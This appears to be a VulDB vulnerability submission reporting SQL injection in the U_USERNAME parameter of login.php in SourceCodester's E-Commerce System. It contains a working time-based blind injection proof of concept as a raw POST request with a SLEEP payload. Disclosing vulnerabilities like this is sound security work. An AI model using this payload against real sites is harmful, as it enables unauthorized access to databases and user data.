| Title | E-Commerce System login.php SQL Injection Vulnerability |
|---|
| Description | E-Commerce System has a SQL Injection Vulnerability in its common user login function, the vulnerable URI is '/ecommerce/login.php' , and the injectable parameters is U_USERNAME
A time-based blind injection poc is below:
POST /ecommerce/login.php HTTP/1.1
***************************************
proid=1&U_USERNAME=123' AND (SELECT 6283 FROM (SELECT(SLEEP(5)))qFDz) AND 'OWHz'='OWHz&U_PASS=123&modalLogin=
Then the server will response after 5s , which proves the vul |
|---|
| Source | ⚠️ https://www.sourcecodester.com/php/13524/e-commerce-system-using-phpmysqli.html |
|---|
| User | WWesleywww (UID 43117) |
|---|
| Submission | 03/20/2023 07:53 (3 years ago) |
|---|
| Moderation | 03/20/2023 08:33 (39 minutes later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 223410 [SourceCodester E-Commerce System 1.0 login.php U_USERNAME sql injection] |
|---|
| Points | 20 |
|---|